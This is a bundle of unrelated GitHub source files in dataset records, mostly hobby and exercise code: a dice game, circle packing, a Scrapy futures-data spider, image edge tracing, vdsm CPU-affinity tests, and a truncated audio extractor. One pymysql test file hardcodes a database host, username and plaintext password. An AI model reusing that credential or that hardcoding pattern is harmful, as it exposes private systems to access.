+{"seq_id":"44263261368","text":"# Jogo de Dados em Python\nfrom random import randint\nfrom time import sleep\nfrom operator import itemgetter\njogo = {}\nranking = []\nprint('------ VALORES SORTEADOS ------')\nfor cont in range(0, 4):\n    jogo[f'Jogador {cont + 1}'] = randint(1, 6)\nfor k, v in jogo.items():\n    sleep(0.6)\n    print(f'{k} tirou {v}')\nprint('------ RANKING DOS JOGADORES ------')\nranking = sorted(jogo.items(), key=itemgetter(1), reverse=True)\nfor i, v in enumerate(ranking):\n    sleep(0.6)\n    print(f'{i + 1}º lugar: {v[0]} com {v[1]}')\n","repo_name":"opaulolopes/myFreshStart","sub_path":"Python/Python - Mundo 3/ex091.py","file_name":"ex091.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"73659332487","text":"import time\nimport cv2\nimport pandas as pd\nimport numpy\nimport tools_draw_numpy\nimport packcircles\nimport tools_IO\n# ---------------------------------------------------------------------------------------------------------------------\nfrom CV import tools_Ellipse\n# ---------------------------------------------------------------------------------------------------------------------\nclass Packer:\n    tol_away = 18\n    min_size = 10\n    max_objects = 12\n    draw_mode = 'circles'\n    cmap = 'tab20'\n    W = 720\n    H = 720\n\n    def __init__(self,folder_out,dark_mode=False):\n        numpy.random.seed(11)\n        self.dark_mode = dark_mode\n        self.col_bg = (43, 43, 43) if self.dark_mode else (232, 240, 244)\n        self.folder_out = folder_out\n        self.E = tools_Ellipse.Ellipse_Processor(folder_out)\n        self.dct_color={}\n        self.scale_factor = None\n\n        return\n# ---------------------------------------------------------------------------------------------------------------------\n    def pretty_print(self,value):\n\n        if   value>1000000:res = '%dM'%int(value/1000000)\n        elif value>   1000:res = '%dk'%int(value/1000)\n        else:              res = '%d' % value\n\n        return res\n# ---------------------------------------------------------------------------------------------------------------------\n    def scale_sizes(self,sizes):\n        if self.scale_factor is None:\n            self.scale_factor = sizes.max()/100\n\n        sizes_scaled = sizes/self.scale_factor\n        return sizes_scaled\n# ---------------------------------------------------------------------------------------------------------------------\n    def filter_visible(self):\n\n        sizes_scaled = self.scale_sizes(self.sizes)\n        idx_sorted = numpy.argsort(-self.sizes)[:self.max_objects]\n\n        sizes_scaled = sizes_scaled[idx_sorted].astype(numpy.int)\n        labels = self.labels[idx_sorted]\n        descriptions = self.descriptions[idx_sorted]\n\n        idx = sizes_scaled >= self.min_size\n        return sizes_scaled[idx], labels[idx], descriptions[idx]\n# ---------------------------------------------------------------------------------------------------------------------\n    def do_pack(self,sizes):\n        centers = numpy.array([c for c in packcircles.pack((sizes))])[:, :2]\n        xx = numpy.dot(centers[:, 0], sizes) / sizes.sum()\n        yy = numpy.dot(centers[:, 1], sizes) / sizes.sum()\n        centers += numpy.array((-xx + self.W / 2, -yy + self.H / 2))\n        return centers\n# ---------------------------------------------------------------------------------------------------------------------\n    def init(self,sizes,labels,descriptions):\n        self.sizes = sizes\n        self.labels = labels\n        self.descriptions = descriptions\n        self.idx_sizes = numpy.argsort(self.sizes)\n\n        N = self.sizes.shape[0]\n        colors = 255 * (tools_draw_numpy.get_colors(N, colormap=self.cmap, alpha_blend=0.0, clr_blend=(0, 0, 0),shuffle=True) / 255)\n        colors = colors.astype(int)\n\n        for color,label in zip(colors,labels):\n            if label not in self.dct_color:\n                self.dct_color[label] = color\n\n        return\n# ---------------------------------------------------------------------------------------------------------------------\n    def insert(self,label,size,description):\n\n        colors = 255 * (tools_draw_numpy.get_colors(10, colormap=self.cmap, alpha_blend=0.0, clr_blend=(0, 0, 0),shuffle=True) / 255)\n        color = colors[0]\n\n        numpy.insert(self.labels, 0, label)\n        numpy.insert(self.sizes, 0, size)\n        numpy.insert(self.descriptions, 0, description)\n        self.dct_color[label] = color\n\n        return\n# ---------------------------------------------------------------------------------------------------------------------\n    def update(self, sizes, labels, descriptions):\n\n        for label,size,description in zip(labels,sizes,descriptions):\n            i = numpy.where(self.labels==label)[0]\n            if len(i)>0:\n                self.sizes[i] = size\n                self.descriptions[i] = description\n            else:\n                self.insert(label,size,description)\n                xx=0\n\n        del_lst = []\n        for i,label in enumerate(self.labels):\n            if len(numpy.where(labels == label)[0])==0:\n                del_lst.append(i)\n\n        if len(del_lst)>0:\n            numpy.delete(self.labels,del_lst)\n            numpy.delete(self.sizes, del_lst)\n            numpy.delete(self.descriptions, del_lst)\n\n        return\n# ---------------------------------------------------------------------------------------------------------------------\n    def save(self,filename_out):\n\n        df = pd.DataFrame(\n            {\n                'c_X': self.centers[:,0],\n                'c_Y': self.centers[:,1],\n                'sizes': self.sizes,\n                'labels': self.labels,\n                'color_R': self.colors[:,0],\n                'color_G': self.colors[:,1],\n                'color_B': self.colors[:,2],\n            },\n            index=None)\n\n        df = df.astype({'labels': 'string'})\n        df.to_csv(self.folder_out+filename_out,sep='\\t')\n\n        return\n# ---------------------------------------------------------------------------------------------------------------------\n    def load(self,filename_in):\n\n        df = pd.read_csv(self.folder_out+filename_in,sep='\\t')\n        df = df.astype({'labels': 'string'})\n\n        self.centers=numpy.hstack((df['c_X'].to_numpy(),df['c_Y'].to_numpy()))\n        self.sizes = df['sizes'].to_numpy()\n        self.labels = df['labels'].to_numpy()\n        self.colors=numpy.concatenate((df['color_R'].to_numpy(),df['color_G'].to_numpy(),df['color_B'].to_numpy()))\n\n        return\n# ---------------------------------------------------------------------------------------------------------------------\n    def is_pair_separated(self, c1, c2, r1, r2):\n\n        delta = numpy.array(c1-c2)\n        if numpy.linalg.norm(delta)< self.tol_away:\n            return False\n\n        overlap = r1+r2+self.tol_away-numpy.linalg.norm(delta)\n        is_away = overlap<0\n        return is_away\n# ---------------------------------------------------------------------------------------------------------------------\n    def move_away_pair(self, c1,c2,r1,r2,froze_first=False):\n\n        delta = numpy.array(c1 - c2)\n\n        if numpy.linalg.norm(delta)>1:\n\n            overlap = r1 + r2 + self.tol_away - numpy.linalg.norm(delta)\n            direction = overlap * delta / numpy.linalg.norm(delta)\n            if froze_first:\n                d1 = numpy.array((0,0))\n                d2 = direction\n            else:\n                d1 = numpy.array(direction * r2 / (r1 + r2))\n                d2 = numpy.array(direction * r1 / (r1 + r2))\n\n            c1+=d1\n            c2-=d2\n\n        else:\n            if r1>r2:\n                c2 += numpy.array((self.tol_away + r1+r2 - numpy.linalg.norm(delta), 0))\n            else:\n                c2 += numpy.array((self.tol_away + r1+r2 - numpy.linalg.norm(delta), 0))\n\n        return c1,c2\n# ---------------------------------------------------------------------------------------------------------------------\n    def get_gravity_force_and_direction(self, i, j):\n\n        c1 = numpy.array(self.centers[i])\n        c2 = numpy.array(self.centers[j])\n        r1 = self.sizes[i]\n        r2 = self.sizes[j]\n\n        delta = numpy.array(c1 - c2)\n        overlap = r1 + r2 + self.tol_away - numpy.linalg.norm(delta)\n        if overlap > 0: return 0,numpy.array((0,0))\n\n        direction_one = delta/numpy.linalg.norm(delta)\n        F = (r1**2)*(r2**2)/(numpy.linalg.norm(delta)**2)\n        return F,direction_one\n# ---------------------------------------------------------------------------------------------------------------------\n    def get_distances(self,centers,sizes):\n\n        N = centers.shape[0]\n        D = []\n        for i in range(N - 1):\n            c1 = centers[i]\n            for j in range(i+1, N):\n                c2 = centers[j]\n                delta = numpy.array(c1 - c2)\n                distance = numpy.linalg.norm(delta)- sizes[i] - sizes[j]\n                D.append(distance)\n\n        D = numpy.array(D)\n\n        return D\n# ---------------------------------------------------------------------------------------------------------------------\n    def move_away_all(self,centers,sizes,labels, descriptions):\n        froze_first = False\n        c =0\n        distance_min = self.get_distances(centers,sizes).min()\n        idx_sizes = numpy.argsort(sizes)\n\n        while (distance_min<self.tol_away-1):\n            c+=1\n            for i in idx_sizes:\n                for j in idx_sizes:\n                    if j==i:continue\n                    if self.is_pair_separated(centers[i], centers[j], sizes[i], sizes[j]):continue\n                    centers[i], centers[j] = self.move_away_pair(centers[i], centers[j], sizes[i], sizes[j],froze_first)\n\n            distance_min = self.get_distances(centers,sizes).min()\n\n        return centers\n# ---------------------------------------------------------------------------------------------------------------------\n    def get_position_sign(self,sign,font_size):\n        W,H = 640,480\n        image = numpy.zeros((H, W, 3), dtype=numpy.uint8)\n        image = tools_draw_numpy.draw_text(image, sign, (int(10), int(H//2)),font_size=int(font_size),color = (255,255,255))\n\n        #image = cv2.putText(image, '{0:s}'.format(sign), (int(10), int(H//2)), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255),1, cv2.LINE_AA)\n        #image = cv2.rectangle(image, (min_x,min_y), (max_x,max_y), (255,0,0))\n        #cv2.imwrite(folder_out+'xxx.png',image)\n\n        A = numpy.max(image[:, :, 0], axis=0)\n        NZ = numpy.nonzero(A)\n        min_x = NZ[0].min()\n        max_x = NZ[0].max()\n\n        A = numpy.max(image[:, :, 0], axis=1)\n        NZ = numpy.nonzero(A)\n        min_y = NZ[0].min()\n        max_y = NZ[0].max()\n\n        sx = max_x - min_x\n        sy = max_y - min_y\n        shift_x = -sx / 2 - min_x + 10\n        shift_y = -sy / 2 - min_y + int(H//2)\n        return shift_x,shift_y\n# ---------------------------------------------------------------------------------------------------------------------\n    def plot(self,centers, sizes, labels, descriptions,filename_out=None):\n\n        image = numpy.full((self.H,self.W,3),self.col_bg,dtype=numpy.uint8)\n\n        for i in numpy.argsort(sizes):\n            center, radius, label, description = centers[i], sizes[i], labels[i], descriptions[i]\n            color = self.dct_color[label]\n            p = (int(center[0] - radius), int(center[1] - radius), int(center[0] + radius), int(center[1] + radius))\n            if self.draw_mode == 'circles':\n                image = tools_draw_numpy.draw_circle_aa(image, int(center[1]), int(center[0]), int(radius), color,clr_bg=self.col_bg)\n                image = tools_draw_numpy.draw_circle(image, center[1],center[0], radius, color, alpha_transp=0.6)\n            elif self.draw_mode == 'rects':\n                image = tools_draw_numpy.draw_rect(image,p[0],p[1], p[2], p[3], color.tolist(), w=1, alpha_transp=0.5)\n            else:\n                p = (int(center[0] - radius), int(center[1] - radius), int(center[0] + radius), int(center[1] + radius))\n                image = tools_draw_numpy.draw_ellipse0(image, p, color, transperency=0.5)\n\n            if description is not None:\n                font_size = int(radius)\n                shift_x,shift_y = self.get_position_sign(description,font_size)\n                image = tools_draw_numpy.draw_text(image,description,(int(center[0]+shift_x), int(center[1]+shift_y)),color,font_size)\n\n        if filename_out is not None:\n            cv2.imwrite(self.folder_out + filename_out,image)\n\n        return\n# ----------------------------------------------------------------------------------------------------------------------\nfilename_in  = './images/ex_pack_text/positions.txt'\nfolder_out = './images/output/'\n# ---------------------------------------------------------------------------------------------------------------------\nPacker = Packer(folder_out=folder_out)\n# ---------------------------------------------------------------------------------------------------------------------\nif __name__ == '__main__':\n\n    tools_IO.remove_files(folder_out, '*.png')\n    df = pd.read_csv('./images/ex_pack_text/population-density.csv',sep=',')\n\n    years = numpy.sort(numpy.unique(df['Year'].to_numpy()))\n    for year in years:\n        df_temp = df[df.Year==year]\n        labels = df_temp.Entity.to_numpy()\n        sizes = df_temp.iloc[:,-1].to_numpy()\n        descriptions = numpy.array(['%s\\n%s' % (label, Packer.pretty_print(size)) for label, size in zip(labels, sizes)])\n        sizes = numpy.sqrt(sizes)\n\n        if year == years[0]:\n            Packer.init(sizes, labels, descriptions)\n            sizes_vis, labels_vis, descriptions_vis = Packer.filter_visible()\n            centers_vis = Packer.do_pack(sizes_vis+Packer.tol_away)\n            Packer.plot(centers_vis, sizes_vis, labels_vis, descriptions_vis, 'Y_%04d.png' % year)\n        else:\n            Packer.update(sizes, labels, descriptions)\n            sizes_vis_new, labels_vis_new, descriptions_vis_new = Packer.filter_visible()\n            centers_vis_prev = []\n            for label in labels_vis_new:\n                if numpy.array((labels_vis==label)).sum()>0:\n                    i = numpy.where(labels_vis==label)\n                    centers_vis_prev.append(centers_vis[i[0][0]])\n                else:\n                    centers_vis_prev.append(numpy.array((Packer.W/2,Packer.H/2)))\n\n            centers_vis_new = Packer.move_away_all(numpy.array(centers_vis_prev),sizes_vis_new,labels_vis_new, descriptions_vis_new)\n            Packer.plot(centers_vis_new, sizes_vis_new, labels_vis_new, descriptions_vis_new, 'Y_%04d.png' % year)\n            centers_vis, sizes_vis, labels_vis, descriptions_vis = centers_vis_new.copy(), sizes_vis_new.copy(),labels_vis_new.copy(),descriptions_vis_new.copy()\n\n        print(year)\n\n\n","repo_name":"dryabokon/geometry","sub_path":"ex15_circle_pack_v2.py","file_name":"ex15_circle_pack_v2.py","file_ext":"py","file_size_in_byte":14082,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"33099629649","text":"import pymysql\nimport time\nimport random\n\n\n\n\n\nconnection = pymysql.connect(host='10.20.13.66',\n\t\t\t\t\t\t\tuser='jmmoon',\n\t\t\t\t\t\t\tpassword='132435a@',\n\t\t\t\t\t\t\tdb='VisualAnalytics',\n\t\t\t\t\t\t\tcharset='utf8',\n\t\t\t\t\t\t\tcursorclass=pymysql.cursors.DictCursor,\n\t\t\t\t\t\t\tport=3306)\n\n\n\n\naIndex = random.randrange(0, 1000)\nprint(\"Z Index : \" + str(aIndex));\ndata = []\ncursor = connection.cursor()\n# Read a single record\nsql = \"SELECT id_cell, minX_cell, maxX_cell, minY_cell, maxY_cell, minZ_cell, maxZ_cell FROM cell_master WHERE group_id_cell=1 and maxZ_cell > %s and minZ_cell < %s;\"\ncursor.execute(sql, (int(aIndex), int(aIndex)))\nconnection.commit()\n\n#rows = cursor.fetchall()\ncursor.close()\n\nZIndex = aIndex\n\nstart_time = time.time() \n\nfor row in cursor.fetchall():\n\t# data.append(id_cell['id_cell'])\n\tpath = \"/home/SharedHDD/Cell/Cell_1/\"+ str(row['id_cell']) +\"/bit_volume.raw\"\n\tf = open(path, 'rb')\n\tsliceSize = (row['maxX_cell'] - row['minX_cell'] + 1) * (row['maxY_cell'] - row['minY_cell'] + 1)\n \n\n\t# print(sliceSize)\n\t# break\n\tf.seek(sliceSize * (ZIndex-row['minZ_cell']))\n\n\tmSlice = f.read(sliceSize)\n\n\tdata.append(mSlice)\n\n#    print(id_cell['id_cell'])\n\n\n\t# for m in mdata:\n\t# \t# print(m['id_cell'])\n\n\n\t# \tpath = \"/home/SharedHDD/Cell/Cell_1/\"+ str(m['id_cell']) +\".dat\"\n\t# \tf = open(path, 'r')\n\t# \twhile True:\n\t# \t\tline = f.readline()\n\t# \t\tif not line: break\n\t\t\t\n\t# \t\tline_split = line.split(\" \")\n\t# \t\t# print(line_split[4])\n\t# \t\tif line_split[4] == aIndex and line_split[1] == '1':\n\t# \t\t\t# print (([m['id_cell'], line_split[2], line_split[3], line_split[4], 0, 0]))\n\t# \t\t\tvdata.append([m['id_cell'], line_split[2], line_split[3], line_split[4], 0, 0])\n\n\t# \t\t# json_text += line\n\t\n\t# \tf.close()\n\n# print((data))\nprint(\"--- %s seconds ---\" %(time.time() - start_time))\n","repo_name":"MoonJungmin/ZebrafishAnalytics_Web","sub_path":"read_test.py","file_name":"read_test.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"3995352285","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 21 15:33:39 2018\n\n@author: z5044541\n\"\"\"\n\ndef mergeTwoLists(self, l1, l2):\n    \"\"\"\n    :type l1: ListNode\n    :type l2: ListNode\n    :rtype: ListNode\n    \"\"\"\n    du = ListNode(0)\n    dum = du\n    while True:\n        if l1 is None:\n            dum.next = l2\n            break\n        if l2 is None:\n            dum.next = l1\n            break\n        if l1.val<= l2.val: \n            dum.next = l1\n            dum= dum.next\n            l1 = l1.next\n        else:\n            dum.next = l2\n            dum = dum.next  \n            l2 = l2.next\n    return du.next","repo_name":"RegCookies/Leetcode","sub_path":"LeetcodeEasyproblems/python-version/mergeTwoLists.py","file_name":"mergeTwoLists.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"30486507062","text":"\"\"\"\nscrapy crawl shf\nscrapy crawl shf -a t1=20021202\nscrapy crawl shf -a t1=20200331 -a t2=20200402\n\"\"\"\nimport json\nimport scrapy\nimport pandas as pd\nfrom scrapy.loader import ItemLoader\n\nfrom ..items import BarItem\n\nDEFAULT_MIN_DATE = pd.Timestamp('2002-12-02')\nALLOWED_PRODUCTS = {\n    'SS': '不锈钢',\n    'AU': '黄金',\n    'AL': '铝',\n    'NI': '镍',\n    'PB': '铅',\n    'CU': '铜',\n    'SN': '锡',\n    'ZN': '锌',\n    'AG': '白银',\n    'BU': '石油沥青',\n    'RB': '螺纹钢',\n    'FU': '燃料油',\n    'HC': '热轧卷板',\n    'WR': '线材',\n    'RU': '天然橡胶',\n    'SP': '纸浆',\n}\n\n\nclass SHFSpider(scrapy.Spider):\n    name = 'shf'\n\n    def start_requests(self):\n        t1 = getattr(self, 't1', 'today')\n        t2 = getattr(self, 't2', 'today')\n\n        if pd.Timestamp(t1) < DEFAULT_MIN_DATE:\n            t1 = DEFAULT_MIN_DATE\n\n        url_fmt = 'http://www.shfe.com.cn/data/dailydata/kx/kx{}.dat'\n        for dt in pd.date_range(t1, t2):\n            print(dt)\n            url = url_fmt.format(dt.strftime('%Y%m%d'))\n            yield scrapy.Request(url)\n\n    def parse(self, response):\n        try:\n            js = json.loads(response.text)\n        except json.JSONDecodeError:\n            return\n\n        for item in js['o_curinstrument']:\n            try:  # Skip the summary rows\n                int(item['DELIVERYMONTH'])\n            except ValueError:\n                continue\n\n            if item['PRODUCTNAME'].strip() in ALLOWED_PRODUCTS.values():\n                l = ItemLoader(item=BarItem(), selector=item)\n\n                l.add_value('symbol', item['PRODUCTID'], re=r'(.+)_.+')\n                l.add_value('symbol', item['DELIVERYMONTH'])\n                l.add_value('name', item['PRODUCTNAME'])\n                l.add_value('name', item['DELIVERYMONTH'])\n                l.add_value('datetime', js['report_date'])\n                l.add_value('open', item['OPENPRICE'])\n                l.add_value('high', item['HIGHESTPRICE'])\n                l.add_value('low', item['LOWESTPRICE'])\n                l.add_value('close', item['CLOSEPRICE'])\n                l.add_value('volume', item['VOLUME'])\n                l.add_value('open_interest', item['OPENINTEREST'])\n                l.add_value('exchange', self.name)\n                yield l.load_item()\n","repo_name":"gansaihua/tofu","sub_path":"crawlers/spiders/shf.py","file_name":"shf.py","file_ext":"py","file_size_in_byte":2300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70297487690","text":"cnt = \"S\"\r\nnumeros = []\r\ncount = 0\r\nwhile cnt != \"N\" and cnt == \"S\":\r\n    num = int(input(\"Digite um valor: \"))\r\n    if num not in numeros:\r\n        print(\"Valor adicionado com sucesso...\")\r\n        numeros.append(num)\r\n    else:\r\n        print(\"Valor duplicado! Não será adicionado.\")\r\n    cnt = str(input(\"Quer continuar?: \").strip().upper())\r\nprint(numeros)","repo_name":"devlooppear/Estudo","sub_path":"ex79.py","file_name":"ex79.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14094580685","text":"# Import pandas and matplotlib\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n# Read the restaurants csv file\nrestaurants = pd.read_csv(\"paris_restaurants.csv\")\n\n# Inspect the first rows of restaurants\nprint(restaurants.head())\n\n# Make a plot of all points\nfig, ax = plt.subplots()\nax.plot(restaurants.x, restaurants.y, 'o')\nplt.show()","repo_name":"dgg32/geospatial_datacamp","sub_path":"plot_paris_restaurants.py","file_name":"plot_paris_restaurants.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"9053399440","text":"from typing import List\r\n\r\n# a line as an array of pixelsCoord (x, y) that are connected\r\nclass Line:\r\n    def __init__(self, pixelsCoord: List[tuple] = []):\r\n        # pixels in order that why this is not a set\r\n        self.pixelsCoord = pixelsCoord\r\n        self.pixelsCoordSet = set(pixelsCoord)\r\n        self.avgXY = (0, 0)\r\n    \r\n    def calculateAvgXY(self):\r\n        x = 0\r\n        y = 0\r\n        for (x, y) in self.pixelsCoord:\r\n            x += x\r\n            y += y\r\n        self.avgXY = (x / len(self.pixelsCoord), y / len(self.pixelsCoord))\r\n\r\nclass Pixel:\r\n  def __init__(self, x: int, y: int, color: tuple):\r\n    self.x = x # x position of the pixel\r\n    self.y = y # y position of the pixel\r\n    self.color = color # color is a tuple (r,g,b)\r\n    \r\nclass Element:\r\n    def __init__(self, color: tuple):\r\n        self.color = color;\r\n        self.pixels = [];\r\n        self.edgePixels = [];\r\n        self.edgeLines = [];\r\n    def addPixel(self, pixel: Pixel):\r\n        self.pixels.append(pixel);\r\n    \r\n    def getEdgesPixels(self):\r\n        pixelsSet = set()\r\n        for pixel in self.pixels:\r\n            pixelsSet.add((pixel.x, pixel.y))\r\n        \r\n        edgePixelsSet = set()\r\n        for pixel in self.pixels:\r\n            if self.isEdgePixel(pixel, pixelsSet):\r\n                edgePixelsSet.add((pixel.x, pixel.y))\r\n                self.edgePixels.append(pixel)\r\n        \r\n        # now we have all the edge pixels, we create the lines to draw\r\n        while(len(edgePixelsSet) > 0):\r\n            startPixelCoord = edgePixelsSet.pop()\r\n            self.createLine(startPixelCoord, edgePixelsSet)\r\n\r\n    def isEdgePixel(self, pixel: Pixel, pixelsAsSet: set):\r\n        for (s, t) in ((pixel.x + 1, pixel.y), (pixel.x - 1, pixel.y), (pixel.x, pixel.y + 1), (pixel.x, pixel.y - 1), (pixel.x + 1, pixel.y + 1), (pixel.x - 1, pixel.y - 1), (pixel.x + 1, pixel.y - 1), (pixel.x - 1, pixel.y + 1)):\r\n            if (s, t) not in pixelsAsSet:\r\n                return True\r\n        return False\r\n    \r\n    def createLine(self, startPixelCoord: tuple, edgePixelsSet: set):\r\n        line = Line()\r\n        # getting all the pixels coords for each line\r\n        pixelsCoordUpRight = []\r\n        nextPixelCoordUpRight = self.getUpRightEdgePixel(startPixelCoord, edgePixelsSet)\r\n        while nextPixelCoordUpRight != (-1, -1):\r\n            pixelsCoordUpRight.append(nextPixelCoordUpRight)\r\n            edgePixelsSet.remove(nextPixelCoordUpRight)\r\n            nextPixelCoordUpRight = self.getNextEdgePixel(nextPixelCoordUpRight, edgePixelsSet)\r\n        pixelsCoordDownLeft = []\r\n        nextPixelCoordDownLeft = self.getDownLeftEdgePixel(startPixelCoord, edgePixelsSet)\r\n        while nextPixelCoordDownLeft != (-1, -1):\r\n            pixelsCoordDownLeft.append(nextPixelCoordDownLeft)\r\n            edgePixelsSet.remove(nextPixelCoordDownLeft)\r\n            nextPixelCoordDownLeft = self.getNextEdgePixel(nextPixelCoordDownLeft, edgePixelsSet)\r\n        # order the pixels coords in the line to have only one direction (no forks when drawing the line)\r\n        pixelsCoordDownLeft.reverse()\r\n        # adding the pixels coords to the line\r\n        line.pixelsCoord = pixelsCoordDownLeft + [startPixelCoord] + pixelsCoordUpRight\r\n        line.pixelsCoordSet = set(line.pixelsCoord)\r\n        # calculate the average x and y for the line\r\n        # line.calculateAvgXY()\r\n        self.edgeLines.append(line)\r\n\r\n    def getNextEdgePixel(self, pixelCoord: tuple, edgePixelsSet):\r\n        for (s, t) in ((pixelCoord[0] + 1, pixelCoord[1]), (pixelCoord[0] - 1, pixelCoord[1]), (pixelCoord[0], pixelCoord[1] + 1), (pixelCoord[0], pixelCoord[1] - 1)):\r\n            if (s, t) in edgePixelsSet:\r\n                return (s, t)\r\n        return (-1, -1)\r\n    def getUpRightEdgePixel(self, pixelCoord: tuple, edgePixelsSet):\r\n        for (s, t) in ((pixelCoord[0] + 1, pixelCoord[1]), (pixelCoord[0], pixelCoord[1] + 1)):\r\n            if (s, t) in edgePixelsSet:\r\n                return (s, t)\r\n        return (-1, -1)\r\n    def getDownLeftEdgePixel(self, pixelCoord: tuple, edgePixelsSet):\r\n        for (s, t) in ((pixelCoord[0] - 1, pixelCoord[1]), (pixelCoord[0], pixelCoord[1] - 1)):\r\n            if (s, t) in edgePixelsSet:\r\n                return (s, t)\r\n        return (-1, -1)\r\n","repo_name":"Moa1er/ImageDrawingConverter","sub_path":"python/drawingClasses.py","file_name":"drawingClasses.py","file_ext":"py","file_size_in_byte":4277,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"70574154887","text":"from __future__ import absolute_import\nfrom __future__ import division\n\nimport multiprocessing\nimport os\nimport tempfile\n\nfrom nose.plugins.skip import SkipTest\n\nfrom vdsm import taskset\nfrom vdsm.common import cmdutils\n\nfrom monkeypatch import MonkeyPatchScope\nfrom testlib import VdsmTestCase\nfrom testlib import permutations, expandPermutations\nimport testlib\n\n\n_CPU_COMBINATIONS = (\n    [frozenset((0,))],\n    [frozenset((0, 3,))],\n    [frozenset((1, 2,))],\n)\n\n\n@expandPermutations\nclass AffinityTests(VdsmTestCase):\n\n    def setUp(self):\n        self.running = multiprocessing.Event()\n        self.stop = multiprocessing.Event()\n        self.proc = None\n\n    def tearDown(self):\n        self.stop.set()\n        if self.proc is not None:\n            self.proc.terminate()\n            self.proc.join()\n\n    def test_get(self):\n\n        self.proc = multiprocessing.Process(target=self._run_child)\n        self.proc.start()\n        if not self.running.wait(0.5):\n            raise RuntimeError(\"helper child process not running!\")\n\n        self.assertEqual(taskset.get(self.proc.pid),\n                         taskset.get(os.getpid()))\n\n    @permutations(_CPU_COMBINATIONS)\n    def test_set_from_parent(self, cpu_set):\n\n        validate_running_with_enough_cpus(cpu_set)\n\n        self.proc = multiprocessing.Process(target=self._run_child)\n        self.proc.start()\n        if not self.running.wait(0.5):\n            raise RuntimeError(\"helper child process not running!\")\n\n        taskset.set(self.proc.pid, cpu_set)\n        self.assertEqual(taskset.get(self.proc.pid), cpu_set)\n\n    @permutations(_CPU_COMBINATIONS)\n    def test_set_from_child(self, cpu_set):\n\n        validate_running_with_enough_cpus(cpu_set)\n\n        self.proc = multiprocessing.Process(target=self._run_child,\n                                            args=(cpu_set,))\n        self.proc.start()\n        if not self.running.wait(0.5):\n            raise RuntimeError(\"helper child process not running!\")\n\n        self.assertEqual(taskset.get(self.proc.pid), cpu_set)\n\n    def test_get_raises_on_failure(self):\n        # here we just need to feed taskset with any bad input.\n        self.assertRaises(cmdutils.Error, taskset.get, '')\n\n    def test_set_raises_on_failure(self):\n        # here we just need to feed taskset with any bad input.\n        self.assertRaises(cmdutils.Error, taskset.set, '', 'x')\n\n    def _run_child(self, cpu_set=None):\n        if cpu_set:\n            taskset.set(os.getpid(), cpu_set)\n        self.running.set()\n        self.stop.wait()\n\n\n@expandPermutations\nclass OnlineCpusFunctionsTests(VdsmTestCase):\n\n    @permutations([\n        # raw_value, cpu_set\n        [b'0', set((0,))],\n        [b'0,1,2,3', set(range(4))],\n        [b'0-3', set(range(4))],\n        [b'0-1,3', set((0, 1, 3))],\n        [b'0-2,5-7', set((0, 1, 2, 5, 6, 7))],\n        # as seen on ppc64 20151130\n        [b'8,16,24,32,40,48,56,64,72,80,88,96,104,112,120,128,136,144,152',\n         set((8, 16, 24, 32, 40, 48, 56, 64, 72, 80,\n              88, 96, 104, 112, 120, 128, 136, 144, 152))],\n    ])\n    def test_online_cpus(self, raw_value, cpu_set):\n\n        with tempfile.NamedTemporaryFile() as f:\n            f.write(raw_value + b'\\n')\n            f.flush()\n            with MonkeyPatchScope([(taskset, \"_SYS_ONLINE_CPUS\", f.name)]):\n                self.assertEqual(taskset.online_cpus(), cpu_set)\n\n    @permutations([\n        # cpu_set, expected\n        [frozenset((0,)), 0],\n        [frozenset((1,)), 1],\n        [frozenset(range(4)), 1],\n        [frozenset(range(1, 4)), 2],\n        [frozenset(range(3, 9)), 4],\n    ])\n    def test_pick_cpu(self, cpu_set, expected):\n        self.assertEqual(taskset.pick_cpu(cpu_set), expected)\n\n\n# TODO: find a clean way to make this a decorator\ndef validate_running_with_enough_cpus(cpu_set):\n    max_available_cpu = sorted(testlib.online_cpus())[-1]\n    max_required_cpu = sorted(cpu_set)[-1]\n\n    if max_available_cpu < max_required_cpu:\n        raise SkipTest(\n            \"This test requires at least %i available CPUs\"\n            \" (running with %i)\" % (max_required_cpu, max_available_cpu))\n","repo_name":"oVirt/vdsm","sub_path":"tests/taskset_test.py","file_name":"taskset_test.py","file_ext":"py","file_size_in_byte":4110,"program_lang":"python","lang":"en","doc_type":"code","stars":147,"dataset":"github-code","pt":"16"}
+{"seq_id":"38420328694","text":"import json\nimport tempfile\n\nimport matplotlib\nimport numpy as np\nfrom docserver import util\n\nfrom compmusic.extractors.audioimages import AudioImages\n\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nfrom seyiranalyzer import audioseyiranalyzer\n\n\nclass MakamAudioImage(AudioImages):\n    _version = \"0.3\"\n    _sourcetype = \"mp3\"\n    _slug = \"makamaudioimages\"\n\n    _output = {\n        \"waveform8\": {\"extension\": \"png\", \"mimetype\": \"image/png\", \"parts\": True},\n        \"inv_mfcc_spectrum8\": {\"extension\": \"png\", \"mimetype\": \"image/png\", \"parts\": True},\n        \"spectrum8\": {\"extension\": \"png\", \"mimetype\": \"image/png\", \"parts\": True},\n        \"smallfull\": {\"extension\": \"png\", \"mimetype\": \"image/png\"},\n    }\n\n    _zoom_levels = [8]\n    _fft_size = 4096\n    _scale_exp = 2\n    _pallete = 2\n\n    def run(self, musicbrainzid, fname):\n        max_pitch = util.docserver_get_filename(musicbrainzid, \"tomatodunya\", \"pitchmax\", part=1, version=\"0.1\")\n        pitch = json.load(open(max_pitch))\n\n        self._f_min = pitch['min']\n        self._f_max = pitch['max']\n        ret = 